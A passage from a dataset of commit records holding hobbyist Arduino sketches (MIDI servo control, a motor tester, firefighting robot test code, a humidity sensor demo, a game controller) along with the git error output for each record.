B1;\n note2pin[2] = B2; \n note2pin[12] = B3; \n note2pin[13] = B4; \n\n note2pin[25] = C1;\n note2pin[26] = C1;\n note2pin[27] = C1;\n note2pin[36] = C1;\n\n note2pin[14] = D1;\n note2pin[24] = D2;\n \/\/note2pin[37] \u2014> there was no servo for this!!!\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType()){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n switch(pitch){\n \/\/ set servos' values only (activation is done in runServos function)\n case 14:\n servoInc[0] = velocity2inc( servoMinInc[0], servoMaxInc[0], vel);\n servoState[0] = true;\n break;\n case 24:\n servoInc[1] = velocity2inc( servoMinInc[1], servoMaxInc[1], vel);\n servoState[1] = true; \n break;\n \/\/ activate motors and solenoids\n default:\n analogWrite(note2pin[pitch], vel << 1); \n break;\n }\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n switch(pitch){\n \/\/ deactivate servos\n case 14:\n servoState[0] = false;\n break;\n case 24:\n servoState[1] = false;\n break;\n \/\/ deactivate motors and solenoids\n default:\n analogWrite(note2pin[pitch], LOW);\n break; \n }\n break;\n \n \/\/ CONTROL CHANGE (SET SERVO PARAMETERS)\n case midi::ControlChange:\n cc = MIDI.getData1();\n val = MIDI.getData2();\n \/\/ starting on cc=120\n EEPROM.write(cc-120, val); \/\/ store...\n updateServoParams(cc, val);\/\/...and update\n }\n }\n \n runServos(); \/\/ activate servos \n delay(1); \/\/ (used only to set servo increments in a millisecond basis)\n}\n\n\/***************** FUNTCIONS *****************\/\nbyte voltage2byte(float v){\n return v*255\/5.f;\n} \n\nfloat midi2angle(byte m){\n return 180\/127.f*m;\n}\n\nfloat velocity2inc(byte _min, byte _max, byte v){ \/\/ translate velocity values into position increments usign a min\/max inc.\n return map(v, 0, 127, _min, _max); \n}\n\nvoid runServos(){\n \/\/ servo1 attack\n if( servoState[0]==true && servoPos[0] < servoMaxAng[0] ){\n servo1.write(servoPos[0]);\n servoPos[0] += servoInc[0];\n }\n \/\/ servo1 release \n else if (servoState[0] == false){\n servoPos[0] = servoMinAng[0]; \n servo1.write( servoPos[0] ); \n }\n\n \/\/ servo2 attack\n if( servoState[1]==true && servoPos[1] < servoMaxAng[1] ){\n servo2.write(servoPos[1]);\n servoPos[1] += servoInc[1];\n }\n \/\/ servo2 release \n else if (servoState[1] == false){\n servoPos[1] = servoMinAng[1]; \n servo2.write( servoPos[1] ); \n }\n}\n\nvoid updateServoParams(byte addr, byte v){\n switch(addr){\n case 120:\n servoMinInc[0] = v;\n break;\n case 121: \n servoMaxInc[0] = v;\n break;\n case 122:\n servoMinInc[1] = v;\n break;\n case 123:\n servoMaxInc[1] = v;\n break;\n case 124:\n servoMinAng[0] = midi2angle(v);\n break;\n case 125: \n servoMaxAng[0] = midi2angle(v);\n break;\n case 126:\n servoMinAng[1] = midi2angle(v); \n break;\n case 127: \n servoMaxAng[1] = midi2angle(v);\n break;\n\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmeware\/EnsembleSeven\/EnsembleSeven.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"444cd30d1485839dbc0d91732d11f93a3ea0c251","subject":"Fixed backlight setting","message":"Fixed backlight setting\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_file":"examples\/PICadillo-35T\/PICadilloTest\/PICadilloTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"659b228c4cb1cc000083ebfe0f529aed9eae33ba","subject":"This code runs the motor tester within the lunchbox","message":"This code runs the motor tester within the lunchbox\n","repos":"chopshop-166\/lunchbot","old_file":"Lunchbot.ino","new_file":"Lunchbot.ino","new_contents":"#include <Servo.h>\n\n\/\/ Define variables\nint sensorPin = A0; \/\/ select the input pin for the potentiometer\nint sensorValue = 0; \/\/ variable to store the value coming from the sensor\nint sensorValueAdjusted = 0;\nint sensorValueDrive = 0;\nint forward = 6;\nint forwardnum = 0;\nint backward = 7;\nint backwardnum = 0;\nServo myservo;\n\n\/\/ Setup\nvoid setup() {\/\/If you are reading this, then something is wrong then it is TOTALLY NOT LOGAN NO'S FAULT\n\n pinMode(forward, INPUT_PULLUP);\n pinMode(backward, INPUT_PULLUP);\n pinMode(sensorPin, INPUT);\n Serial.begin(9600);\n myservo.attach(3);\n}\n\n\/\/Main loop\nvoid loop() { \n \/\/ read the value from the sensor:\n sensorValue = analogRead(sensorPin);\n \n \/\/ adjusting value to 0 - 89\n sensorValueAdjusted = sensorValue \/ 11.4943820225;\n \n \/\/ get direction switch value\n forwardnum = digitalRead(forward);\n backwardnum = digitalRead(backward);\n \n \/\/ drive logic\n if(forwardnum == 0)\n {\n sensorValueDrive = 180 - sensorValueAdjusted;\/\/91-180 (forward values) clockwise\n myservo.write(sensorValueDrive);\n }\n else if(backwardnum == 0)\n {\n sensorValueDrive = sensorValueAdjusted;\/\/0-89 (backward values) c.clockwise\n myservo.write(sensorValueDrive);\n }\n else\n myservo.write(90);\n \n \/\/ print information\n Serial.print(forwardnum);\n Serial.print(\"\\t\");\n Serial.print(backwardnum);\n Serial.print(\"\\t\");\n Serial.print(sensorValue);\n Serial.print(\"\\t\");\n Serial.print(sensorValueAdjusted);\n Serial.print(\"\\t\");\n Serial.println(sensorValueDrive);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lunchbot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36948bc2187b8d7a86aabf96673fc4987d44d36b","subject":"Stupid Files inside Folder for Arduino","message":"Stupid Files inside Folder for Arduino\n","repos":"Duke-Medical-Instrumentation\/InceptionTI","old_file":"ButtonVoltageText\/ButtonVoltageText.ino","new_file":"ButtonVoltageText\/ButtonVoltageText.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/InceptionTI.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a9c23e42ca3360174e3fd775c410b6f1b981c57b","subject":"Added TestCode file","message":"Added TestCode file\n","repos":"GW-Robotics\/2018-Firefighter","old_file":"2018-Firefighter-TestCode\/2018-Firefighter-TestCode.ino","new_file":"2018-Firefighter-TestCode\/2018-Firefighter-TestCode.ino","new_contents":"#include <Servo.h>\n\n#include <Ultrasonic.h>\n\n#include \"FreqCount.h\"\n\n#define LEFT_SERVO_PIN 4\n#define RIGHT_SERVO_PIN 5\n#define IR_PIN_LEFT 6\n#define IR_PIN_RIGHT 20\n#define EXTINGUISHER_PIN 7\n#define FLAME_LED 9\n#define MIC_LED 11\n#define BABY_LED 17\n#define CAMERA 15\n#define CAMERA_LED 16\n#define GYRO_INPUT_PIN 18\n\n\/\/Ultrasonic Trigger and Echo pins (30-39)\n#define F_L_ECHO 30 \/\/Front-left Ultrasonic\n#define F_L_TRIG 31\n#define F_R_ECHO 32 \/\/Front-right Ultrasonic\n#define F_R_TRIG 33\n#define R_ECHO 34 \/\/Right Ultrasonic\n#define R_TRIG 35\n#define B_ECHO 36 \/\/Back Ultrasonic\n#define B_TRIG 37\n#define L_ECHO 38 \/\/Left Ultrasonic\n#define L_TRIG 39\n\n\/\/ Bounds for start sound frequency:\n#define LOW_START 3306\n#define HIGH_START 4294\n\nServo leftServo;\nServo rightServo;\nServo extinguisher;\n\nUltrasonic frontLeftUltrasonic(F_L_ECHO, F_L_TRIG, true);\nUltrasonic frontRightUltrasonic(F_R_ECHO, F_R_TRIG, true);\nUltrasonic leftUltrasonic(L_ECHO, L_TRIG, true);\nUltrasonic rightUltrasonic(R_ECHO, R_TRIG, true);\nUltrasonic backUltrasonic(B_ECHO, B_TRIG, true);\n\n\/\/Gyroscope controls\nfloat gyroStartAngle;\nfloat gyroTargetAngle = 0;\n\nbool checkingMicrophone = true;\nbool hearingStartSound = false;\nbool robotOn = false;\nunsigned long freqCount;\ndouble closeToWall = 2; \/\/defines how close the robot should be (inches) to the wall to register as being \"too close\"\n\nvoid rollForward() {\n leftServo.write(180);\n rightServo.write(0);\n}\n\nvoid rollBackward() {\n leftServo.write(0);\n rightServo.write(180);\n}\n\nvoid moveSlightLeft() {\n leftServo.write(135);\n rightServo.write(20); \/\/Half power plus additional 25\n delay(100);\n}\n\nvoid moveSlightRight() {\n leftServo.write(160); \/\/Half power plus additional 25\n rightServo.write(45);\n delay(100);\n}\n\nvoid stopRobot() {\n leftServo.write(90);\n rightServo.write(90);\n}\n\nboolean detectFire(){\n if(digitalRead(IR_PIN_RIGHT || IR_PIN_RIGHT)){\n return true;\n } else {\n return false;\n }\n}\n\nvoid startExtinguisher(){\n extinguisher.write(180);\n}\n\nvoid stopExtinguisher(){\n extinguisher.write(90);\n}\n\n\/\/Gyro functions\n\/\/Resets the gyro so that the current positioning is angle \"0\"\nvoid resetGyro(){\n gyroStartAngle = digitalRead(GYRO_PIN);\n gyroTargetAngle = 0;\n}\n\n\/\/Returns the current angle of the robot relative to its starting angle\nfloat getGyroAngle(){\n return digitalRead(GYRO_PIN)-gyroStartAngle;\n}\n\n\/\/adjusts the target angle based on how much we want to turn and turns the robot until that target is reached\n\/\/use turn(0) to simply get the gyro back on track if it's off target\nvoid turn(int angle){\n gyroTargetAngle += angle;\n if(gyroTargetAngle > 360){\n gyroTargetAngle = 360 - gyroTargetAngle;\n }\n if(gyroTargetAngle < 0){\n gyroTargetAngle = 360 + gyroTargetAngle\n }\n if(gyroTargetAngle < getGyroAngle()){\n leftServo.write(180);\n rightServo.write(180);\n while(gyroTargetAngle < getGyroAngle()){\n delay(50);\n }\n stopRobot();\n }else if(gyroTargetAngle > getGyroAngle()){\n leftServo.write(0);\n rightServo.write(0);\n while(gyroTargetAngle > getGyroAngle()){\n delay(50);\n }\n stopRobot();\n }\n}\n\nint detectBaby(){return 0;}\nint usingCamera(){return 0;}\n\nvoid extinguishFire(){\n while (detectFire()) {\n if (detectFire()){\n digitalWrite(FLAME_LED, HIGH);\n } else {\n digitalWrite(FLAME_LED, LOW);\n }\n\n if (frontLeftUltrasonic.getDistance() > 3) {\n rollForward();\n } else {\n stopRobot();\n delay(500);\n\n startExtinguisher();\n delay(500);\n\n if (!detectFire()) {\n stopExtinguisher();\n }\n }\n delay(100);\n }\n}\n\nvoid checkMicrophone() {\n \/\/ Measure sound:\n if (FreqCount.available()) {\n freqCount = FreqCount.read();\n } else {\n freqCount = 0;\n }\n\n \/\/ If the sound frequency is within start sound bounds, turn on robot:\n if (freqCount > LOW_START && freqCount < HIGH_START) {\n robotOn = true; \/\/ Set the robot to on\n hearingStartSound = true;\n } else {\n hearingStartSound = false;\n if (robotOn) {\n checkingMicrophone = false;\n FreqCount.end();\n }\n }\n}\n\nfloat calcAvg(float x,float y){\n float avg=(x+y)\/2;\n return avg;\n}\n\n\nvoid startUp(){\n \/\/ping ultrasonics twice and average the values to get (hopefully) accurate values\n float right=calcAvg(rightUltrasonic.getDistance(),rightUltrasonic.getDistance());\n float left=calcAvg(leftUltrasonic.getDistance(),leftUltrasonic.getDistance());\n float front=calcAvg(frontLeftUltrasonic.getDistance(),frontRightUltrasonic.getDistance());\n float back=calcAvg(backUltrasonic.getDistance(),backUltrasonic.getDistance());\n\n if(right < closeToWall && back < closeToWall && left < closeToWall) { \/\/robot is facing downward WITH DOG\n turn(0);\n } else if(right < closeToWall && front < closeToWall && back < closeToWall){ \/\/robot is facing backward WITH DOG\n turn(90);\n } else if(front < closeToWall && left < closeToWall && right < closeToWall){ \/\/robot is facing upward WITH DOG\n turn(180);\n } else if(front < closeToWall && left < closeToWall && back < closeToWall){ \/\/robot is facing the correct direction WITH DOG\n turn(-90);\n } else if(right < closeToWall && back < closeToWall) { \/\/downward, no dog\n turn(90);\n } else if(right < closeToWall && front < closeToWall) { \/\/backward, no dog\n turn(180);\n } else if(front < closeToWall && left < closeToWall) { \/\/upward, no dog\n turn(-90);\n } else { \/\/forward, no dog\n turn(0);\n }\n\n while(rightUltrasonic.getDistance() > closeToWall){ \/\/roll forward until the first room is encountered, then kick out of function\n rollForward();\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n leftServo.attach(LEFT_SERVO_PIN);\n rightServo.attach(RIGHT_SERVO_PIN);\n extinguisher.attach(EXTINGUISHER_PIN);\n stopRobot();\n extinguisher.write(90);\n\n\n pinMode(IR_PIN_LEFT, INPUT);\n pinMode(IR_PIN_RIGHT, INPUT);\n\n attachInterrupt(digitalPinToInterrupt(IR_PIN_LEFT), extinguishFire, RISING);\n attachInterrupt(digitalPinToInterrupt(IR_PIN_RIGHT), extinguishFire, RISING);\n\n pinMode(FLAME_LED, OUTPUT);\n\n pinMode(MIC_LED, OUTPUT);\n\n pinMode(BABY_LED, OUTPUT);\n\n pinMode(CAMERA_LED, OUTPUT);\n\n pinMode(GYRO, INPUT);\n\n FreqCount.begin(1000); \/\/ Begin measuring sound\n}\n\nvoid loop() {\n\/\/ put your main code here, to run repeatedly\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2018-Firefighter-TestCode\/2018-Firefighter-TestCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7567b39b65c4979d9667c71e038722a4f1a68cb4","subject":"Add demo which uses the Wire library","message":"Add demo which uses the Wire library\n","repos":"stevemarple\/HIH61xx","old_file":"examples\/HIH61xx_Wire_demo\/HIH61xx_Wire_demo.ino","new_file":"examples\/HIH61xx_Wire_demo\/HIH61xx_Wire_demo.ino","new_contents":"\/\/ This example demonstrates how to use the HIH61xx class with the Wire library. The HIH61xx state machine\n\/\/ enables others tasks to run whilst the HIH61xx is powering up etc.\n\n#include <Wire.h>\n#include <HIH61xx.h>\n#include <AsyncDelay.h>\n\n\/\/ The \"hih\" object must be created with a reference to the \"Wire\" object which represents the I2C bus it is using.\n\/\/ Note that the class for the Wire object is called \"TwoWire\", and must be included in the templated class name.\nHIH61xx<TwoWire> hih(Wire);\n\nAsyncDelay samplingInterval;\n\nvoid setup(void)\n{\n#if F_CPU >= 12000000UL\n Serial.begin(115200);\n#else\n\tSerial.begin(9600);\n#endif\n\n\n\tWire.begin();\n\n\thih.initialise();\n\tsamplingInterval.start(3000, AsyncDelay::MILLIS);\n}\n\n\nbool printed = true;\nvoid loop(void)\n{\n\tif (samplingInterval.isExpired() && !hih.isSampling()) {\n\t\thih.start();\n\t\tprinted = false;\n\t\tsamplingInterval.repeat();\n\t\tSerial.println(\"Sampling started (using Wire library)\");\n\t}\n\n\thih.process();\n\n\tif (hih.isFinished() && !printed) {\n\t\tprinted = true;\n\t\t\/\/ Print saved values\n\t\tSerial.print(\"RH: \");\n\t\tSerial.print(hih.getRelHumidity() \/ 100.0);\n\t\tSerial.println(\" %\");\n\t\tSerial.print(\"Ambient: \");\n\t\tSerial.print(hih.getAmbientTemp() \/ 100.0);\n\t\tSerial.println(\" deg C\");\n\t\tSerial.print(\"Status: \");\n\t\tSerial.println(hih.getStatus());\n\t}\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HIH61xx_Wire_demo\/HIH61xx_Wire_demo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a77dffeb56c3292c88b6adb3d44105c10717d548","subject":"Fixed type cast bug.","message":"Fixed type cast bug.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"821c4bc51be97661d0183105390446b9038c5df0","subject":"Fixed buffer overflow error","message":"Fixed buffer overflow error\n\nThere was a buffer overflow happening with the pitchAdjust, rollAdjust, and yawAdjust pins. Corrected by lowering the ramp factor to +\/-111 from +\/-INT8_MAX.\n","repos":"justinnamilee\/KSPboard,justinnamilee\/KSPboard","old_file":"KSPboard.ino","new_file":"KSPboard.ino","new_contents":"\/\/\/ Justin Lee <justin at kitten dot pink>\n\/\/\n\/\/ Arduino driver for the KSPboard game\n\/\/ controller. See LICENSE and README\n\/\/ for more information.\n\n#include <Wire.h>\n\n\n\/\/\/ pin configurations and constants\n\/\/\n\n#define ENABLE true\n#define DISABLE false\n#define NEUTRAL 2\n\n\/\/ serial\n#define SERIAL_SPEED 115200\n\n\/\/ state pins\n#define PIN_LED 13 \/\/ status\n#define PIN_ENABLE A1 \/\/ this should be high to run\n\n\/\/ helm pins\n#define PIN_PITCH_U 12\n#define PIN_PITCH_D 11\n#define PIN_PITCH_S 5 \/\/ axis stick flag\n#define PIN_ROLL_R 9\n#define PIN_ROLL_L 10\n#define PIN_ROLL_S 4 \/\/ axis stick flag\n#define PIN_YAW_R 7\n#define PIN_YAW_L 8\n#define PIN_YAW_S 3 \/\/ axis stick flag\n\n#define PIN_THROTTLE A0 \/\/ analog read\n\n\/\/ rotary pins\n#define PIN_ROT_CLK 2\n#define PIN_ROT_DATA A2\n#define PIN_ROT_SW \/\/ no pin yet\n\n\/\/ ops pins\n#define PIN_OP_LAUNCH 0\n#define PIN_OP_STAGE 0\n#define PIN_OP_ACG3 0\n#define PIN_OP_ACG5 0\n\n\/\/ delays\n#define DELAY_LOOP 100\n#define DELAY_START 30\n#define DELAY_OP 100\n\n\/\/ misc\n#define OPS (sizeof(opPin) \/ sizeof(uint8_t))\n\n\/\/ helm\n#define RAMP_ADJUST 3\n#define RAMP_MAX 111\n#define RAMP_MIN -RAMP_MAX\n#define DIR_MAX 1023\n#define DIR_MIN -1023\n\n#define PITCH_STICK digitalRead(PIN_PITCH_S)\n#define ROLL_STICK digitalRead(PIN_ROLL_S)\n#define YAW_STICK digitalRead(PIN_YAW_S)\n\n#define PITCH_PINS PIN_PITCH_U, PIN_PITCH_D\n#define ROLL_PINS PIN_ROLL_R, PIN_ROLL_L\n#define YAW_PINS PIN_YAW_R, PIN_YAW_L\n\n\n\/\/ helm control variables\nint16_t pitch, yaw, roll, throttle;\nint8_t pitchAdjust = 0, yawAdjust = 0, rollAdjust = 0; \/\/ for ramping the direction input\n\n\/\/ op control variables\n\/\/ state == 0 to DELAY_OP-1 -> off \/ debounce, state == DELAY_OP -> on\nuint8_t opState[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n\/\/ operation pins set to zero are skipped\nuint8_t opPin[] =\n{\n 0, \/\/ null\n 0, \/\/ action group 1\n 0, \/\/ '' 2\n PIN_OP_ACG3, \/\/ '' 3\n 0, \/\/ '' 4\n PIN_OP_ACG5, \/\/ '' 5\n 0, \/\/ '' 6\n 0, \/\/ '' 7\n 0, \/\/ '' 8\n 0, \/\/ '' 9\n 0, \/\/ '' 10\n PIN_OP_LAUNCH, \/\/\n PIN_OP_STAGE \/\/\n};\n\n\/\/ this controls whether the python script closes or not, 1 == run\nboolean state = 1;\n\n\/\/ specialized control functions\n\n\n\n\/\/\/\/ helper functions\n\/\/\n\nint8_t getAdjustment(uint8_t pinH, uint8_t pinL, int8_t adj) \/\/ get control input\n{\n switch (digitalRead(pinH) ? HIGH : (digitalRead(pinL) ? LOW : NEUTRAL))\n {\n case HIGH:\n if ((adj += RAMP_ADJUST) > RAMP_MAX)\n adj = RAMP_MAX;\n break;\n\n case LOW:\n if ((adj -= RAMP_ADJUST) < RAMP_MIN)\n adj = RAMP_MIN;\n break;\n\n case NEUTRAL:\n default:\n adj = 0;\n }\n\n return (adj);\n}\n\nint16_t getDirection(int16_t current, int8_t adj, boolean stick)\n{\n \/\/ reset current if no stick flag or if adj and current are opposite signs\n if (!(adj || stick) || (current > 0 && adj < 0) || (current < 0 && adj > 0))\n {\n current = 0;\n }\n else\n {\n current += adj;\n\n if (current > DIR_MAX)\n current = DIR_MAX;\n else \n if (current < DIR_MIN)\n current = DIR_MIN;\n }\n\n return (current);\n}\n\nuint16_t getThrottle(uint8_t pin) \/\/ get throttle input\n{\n return (analogRead(pin));\n}\n\n\n\/\/\/\/ setup fucntions\n\/\/\n\nvoid setupSerial()\n{\n Wire.begin(); \/\/ start up I\/O expanders\n\n Serial.begin(SERIAL_SPEED);\n Serial.println();\n Serial.flush();\n\n Serial.print(1); \/\/ enable code, super secure\n Serial.print(1);\n Serial.print(1);\n}\n\nvoid setupState()\n{\n pinMode(PIN_LED, OUTPUT); \/\/ debug led\n\n pinMode(PIN_ENABLE, INPUT_PULLUP);\n}\n\nvoid setupHelm()\n{\n pinMode(PIN_PITCH_U, INPUT_PULLUP);\n pinMode(PIN_PITCH_D, INPUT_PULLUP);\n pinMode(PIN_PITCH_S, INPUT_PULLUP);\n pinMode(PIN_ROLL_L, INPUT_PULLUP);\n pinMode(PIN_ROLL_R, INPUT_PULLUP);\n pinMode(PIN_ROLL_S, INPUT_PULLUP);\n pinMode(PIN_YAW_L, INPUT_PULLUP);\n pinMode(PIN_YAW_R, INPUT_PULLUP);\n pinMode(PIN_YAW_S, INPUT_PULLUP);\n}\n\nvoid setupOps()\n{ \/\/ disabled while building the joystick control\n \/*pinMode(PIN_OP_LAUNCH, INPUT_PULLUP);\n pinMode(PIN_OP_STAGE, INPUT_PULLUP);\n pinMode(PIN_OP_ACG3, INPUT_PULLUP);\n pinMode(PIN_OP_ACG5, INPUT_PULLUP);*\/\n}\n\n\n\/\/\/\/ update fucntions\n\/\/\n\nvoid updateState()\n{\n \/\/ tells the python client when to close\n state = digitalRead(PIN_ENABLE);\n digitalWrite(PIN_LED, state);\n Serial.println(state);\n}\n\nvoid updateHelm()\n{\n pitchAdjust = getAdjustment(PITCH_PINS, pitchAdjust);\n pitch = getDirection(pitch, pitchAdjust, PITCH_STICK);\n Serial.println(pitch);\n\n rollAdjust = getAdjustment(ROLL_PINS, rollAdjust);\n roll = getDirection(roll, rollAdjust, ROLL_STICK);\n Serial.println(roll);\n\n yawAdjust = getAdjustment(YAW_PINS, yawAdjust);\n yaw = getDirection(yaw, yawAdjust, YAW_STICK);\n Serial.println(yaw);\n\n throttle = getThrottle(PIN_THROTTLE);\n Serial.println(throttle);\n}\n\nvoid updateOps()\n{\n uint8_t ops = 0;\n uint8_t index = 0;\n\n\n for (index = 0; index < OPS; index++)\n {\n if (!opPin[index]) \/\/ if the pin is zero, skip\n continue;\n\n if (opState[index] > 0) \/\/ check for debounce on current pin\n {\n opState[index]--; \/\/ decrement debounce counter for current state\n }\n else \/\/ if not we can check to see if it's triggered\n {\n opState[index] = digitalRead(opPin[index]) ? DELAY_OP : 0;\n ops++;\n }\n }\n\n if (ops > 0) \/\/ if we have at least one operation to send\n {\n Serial.println(ENABLE);\n\n for (index = 0; index < OPS; index++)\n {\n if (opState[index] == DELAY_OP)\n Serial.println(index); \/\/ print it\n }\n }\n\n Serial.println(DISABLE);\n}\n\n\n\/\/\/\/ built-in arduino functions\n\/\/\n\nvoid setup()\n{\n setupSerial();\n\n setupState();\n setupHelm();\n setupOps();\n\n delay(DELAY_START);\n}\n\nvoid loop()\n{\n updateState();\n\n if (state)\n {\n updateHelm();\n \/\/updateOps();\n }\n\n delay(DELAY_LOOP);\n\n Serial.println();\n Serial.flush();\n}\n\r\n","old_contents":"\/\/\/ Justin Lee <justin at kitten dot pink>\n\/\/\n\/\/ Arduino driver for the KSPboard game\n\/\/ controller. See LICENSE and README\n\/\/ for more information.\n\n#include <Wire.h>\n\n\n\/\/\/ pin configurations and constants\n\/\/\n\n#define ENABLE true\n#define DISABLE false\n#define NEUTRAL 2\n\n\/\/ serial\n#define SERIAL_SPEED 115200\n\n\/\/ state pins\n#define PIN_LED 13 \/\/ status\n#define PIN_ENABLE A1 \/\/ this should be high to run\n\n\/\/ helm pins\n#define PIN_PITCH_U 12\n#define PIN_PITCH_D 11\n#define PIN_PITCH_S 5 \/\/ axis stick flag\n#define PIN_ROLL_R 9\n#define PIN_ROLL_L 10\n#define PIN_ROLL_S 4 \/\/ axis stick flag\n#define PIN_YAW_R 7\n#define PIN_YAW_L 8\n#define PIN_YAW_S 3 \/\/ axis stick flag\n\n#define PIN_THROTTLE A0 \/\/ analog read\n\n\/\/ rotary pins\n#define PIN_ROT_CLK 2\n#define PIN_ROT_DATA A2\n#define PIN_ROT_SW \/\/ no pin yet\n\n\/\/ ops pins\n#define PIN_OP_LAUNCH 0\n#define PIN_OP_STAGE 0\n#define PIN_OP_ACG3 0\n#define PIN_OP_ACG5 0\n\n\/\/ delays\n#define DELAY_LOOP 500\n#define DELAY_START 30\n#define DELAY_OP 100\n\n\/\/ misc\n#define OPS (sizeof(opPin) \/ sizeof(uint8_t))\n\n\/\/ helm\n#define RAMP_ADJUST 7\n#define RAMP_MAX 175\n#define RAMP_MIN -175\n#define DIR_MAX 1023\n#define DIR_MIN -1023\n\n#define PITCH_STICK digitalRead(PIN_PITCH_S)\n#define ROLL_STICK digitalRead(PIN_ROLL_S)\n#define YAW_STICK digitalRead(PIN_YAW_S)\n\n#define PITCH_PINS PIN_PITCH_U, PIN_PITCH_D\n#define ROLL_PINS PIN_ROLL_R, PIN_ROLL_L\n#define YAW_PINS PIN_YAW_R, PIN_YAW_L\n\n\n\/\/ helm control variables\nint16_t pitch, yaw, roll, throttle;\nint8_t pitchAdjust = 0, yawAdjust = 0, rollAdjust = 0; \/\/ for ramping the direction input\n\n\/\/ op control variables\n\/\/ state == 0 to DELAY_OP-1 -> off \/ debounce, state == DELAY_OP -> on\nuint8_t opState[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n\/\/ operation pins set to zero are skipped\nuint8_t opPin[] =\n{\n 0, \/\/ null\n 0, \/\/ action group 1\n 0, \/\/ '' 2\n PIN_OP_ACG3, \/\/ '' 3\n 0, \/\/ '' 4\n PIN_OP_ACG5, \/\/ '' 5\n 0, \/\/ '' 6\n 0, \/\/ '' 7\n 0, \/\/ '' 8\n 0, \/\/ '' 9\n 0, \/\/ '' 10\n PIN_OP_LAUNCH, \/\/\n PIN_OP_STAGE \/\/\n};\n\n\/\/ this controls whether the python script closes or not, 1 == run\nboolean state = 1;\n\n\/\/ specialized control functions\n\n\n\n\/\/\/\/ helper functions\n\/\/\n\nint8_t getAdjustment(uint8_t pinH, uint8_t pinL, int8_t adj) \/\/ get control input\n{\n switch (digitalRead(pinH) ? HIGH : (digitalRead(pinL) ? LOW : NEUTRAL))\n {\n case HIGH:\n if ((adj += RAMP_ADJUST) >= RAMP_MAX)\n adj = RAMP_MAX;\n break;\n\n case LOW:\n if ((adj -= RAMP_ADJUST) <= RAMP_MIN)\n adj = RAMP_MIN;\n break;\n\n case NEUTRAL:\n default:\n adj = 0;\n }\n\n return (adj);\n}\n\nint16_t getDirection(int16_t current, int8_t adj, boolean stick)\n{\n \/\/ reset current if no stick flag or if adj and current are opposite signs\n if (!(adj || stick) || (current > 0 && adj < 0) || (current < 0 && adj > 0))\n current = 0;\n\n current += adj;\n \n\n if (current > DIR_MAX)\n current = DIR_MAX;\n\n if (current < DIR_MIN)\n current = DIR_MIN;\n\n return (current);\n}\n\nuint16_t getThrottle(uint8_t pin) \/\/ get throttle input\n{\n return (analogRead(pin));\n}\n\n\n\/\/\/\/ setup fucntions\n\/\/\n\nvoid setupSerial()\n{\n Wire.begin(); \/\/ start up I\/O expanders\n\n Serial.begin(SERIAL_SPEED);\n Serial.println();\n Serial.flush();\n\n Serial.print(1); \/\/ enable code, super secure\n Serial.print(1);\n Serial.print(1);\n}\n\nvoid setupState()\n{\n pinMode(PIN_LED, OUTPUT); \/\/ debug led\n\n pinMode(PIN_ENABLE, INPUT_PULLUP);\n}\n\nvoid setupHelm()\n{\n pinMode(PIN_PITCH_U, INPUT_PULLUP);\n pinMode(PIN_PITCH_D, INPUT_PULLUP);\n pinMode(PIN_PITCH_S, INPUT_PULLUP);\n pinMode(PIN_ROLL_L, INPUT_PULLUP);\n pinMode(PIN_ROLL_R, INPUT_PULLUP);\n pinMode(PIN_ROLL_S, INPUT_PULLUP);\n pinMode(PIN_YAW_L, INPUT_PULLUP);\n pinMode(PIN_YAW_R, INPUT_PULLUP);\n pinMode(PIN_YAW_S, INPUT_PULLUP);\n}\n\nvoid setupOps()\n{ \/\/ disabled while building the joystick control\n \/*pinMode(PIN_OP_LAUNCH, INPUT_PULLUP);\n pinMode(PIN_OP_STAGE, INPUT_PULLUP);\n pinMode(PIN_OP_ACG3, INPUT_PULLUP);\n pinMode(PIN_OP_ACG5, INPUT_PULLUP);*\/\n}\n\n\n\/\/\/\/ update fucntions\n\/\/\n\nvoid updateState()\n{\n \/\/ tells the python client when to close\n state = digitalRead(PIN_ENABLE);\n digitalWrite(PIN_LED, state);\n Serial.println(state);\n}\n\nvoid updateHelm()\n{\n pitchAdjust = getAdjustment(PITCH_PINS, pitchAdjust);\n pitch = getDirection(pitch, pitchAdjust, PITCH_STICK);\n 